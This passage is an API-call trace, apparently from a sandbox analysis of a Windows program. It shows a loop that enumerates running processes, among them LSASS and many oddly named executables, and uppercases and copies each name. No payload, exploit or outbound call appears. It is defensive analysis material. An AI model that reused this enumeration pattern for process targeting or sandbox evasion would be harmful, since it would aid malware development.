PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0090.139] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0090.139] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.140] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.140] lstrlenW (lpString="svchost.exe") returned 11 [0090.140] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.140] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.140] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.140] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.141] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.141] lstrlenW (lpString="svchost.exe") returned 11 [0090.141] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.141] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.141] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.141] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0090.142] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0090.142] lstrlenW (lpString="dwm.exe") returned 7 [0090.142] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0090.142] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0090.142] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0090.142] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.143] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.143] lstrlenW (lpString="svchost.exe") returned 11 [0090.143] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.143] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.143] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.143] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.144] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.144] lstrlenW (lpString="svchost.exe") returned 11 [0090.144] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.144] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.144] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.144] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.145] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.145] lstrlenW (lpString="svchost.exe") returned 11 [0090.145] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.145] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.145] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.145] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.146] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.146] lstrlenW (lpString="svchost.exe") returned 11 [0090.146] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.146] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.146] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.146] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.147] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.147] lstrlenW (lpString="svchost.exe") returned 11 [0090.147] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.147] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.147] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.147] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.148] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.148] lstrlenW (lpString="svchost.exe") returned 11 [0090.148] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.148] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.148] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.148] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0090.149] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0090.149] lstrlenW (lpString="spoolsv.exe") returned 11 [0090.149] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0090.149] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0090.149] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0090.149] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.150] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.150] lstrlenW (lpString="svchost.exe") returned 11 [0090.150] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.150] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.150] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.150] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.151] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.151] lstrlenW (lpString="svchost.exe") returned 11 [0090.151] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.151] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.151] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.151] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0090.152] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0090.152] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0090.152] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0090.152] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0090.152] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0090.152] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.154] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.154] lstrlenW (lpString="svchost.exe") returned 11 [0090.154] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.154] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.154] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.154] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0090.155] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0090.155] lstrlenW (lpString="sihost.exe") returned 10 [0090.155] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0090.155] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0090.155] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0090.155] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0090.156] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0090.156] lstrlenW (lpString="taskhostw.exe") returned 13 [0090.156] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0090.156] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0090.156] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0090.156] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0090.157] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0090.157] lstrlenW (lpString="explorer.exe") returned 12 [0090.157] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0090.157] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0090.157] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0090.157] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0090.158] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0090.158] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0090.158] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0090.158] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0090.158] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0090.158] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0090.159] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0090.159] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0090.159] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0090.159] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0090.159] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0090.159] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0090.160] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0090.160] lstrlenW (lpString="SearchUI.exe") returned 12 [0090.160] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0090.160] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0090.160] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0090.160] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0090.161] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0090.161] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0090.161] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0090.161] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0090.161] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0090.162] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0090.162] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0090.163] lstrlenW (lpString="nice cu.exe") returned 11 [0090.163] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0090.163] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0090.163] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0090.163] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0090.163] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0090.163] lstrlenW (lpString="video_reviewing.exe") returned 19 [0090.164] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0090.164] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0090.164] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0090.164] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0090.165] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0090.165] lstrlenW (lpString="shame.exe") returned 9 [0090.165] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0090.165] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0090.165] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0090.165] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0090.166] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0090.166] lstrlenW (lpString="fantasy.exe") returned 11 [0090.166] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0090.166] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0090.166] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0090.166] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0090.167] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0090.167] lstrlenW (lpString="accepting.exe") returned 13 [0090.167] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0090.167] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0090.167] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0090.167] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0090.168] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0090.168] lstrlenW (lpString="authorized.exe") returned 14 [0090.168] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0090.168] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0090.168] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0090.168] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0090.172] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0090.172] lstrlenW (lpString="isp.exe") returned 7 [0090.172] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0090.172] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0090.172] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0090.172] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0090.173] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0090.173] lstrlenW (lpString="cowboy.exe") returned 10 [0090.173] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0090.173] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0090.173] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0090.173] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0090.173] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0090.173] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0090.173] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0090.173] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0090.173] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0090.173] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0090.174] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0090.174] lstrlenW (lpString="thats.exe") returned 9 [0090.174] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0090.174] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0090.174] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0090.174] Process32NextW (in: 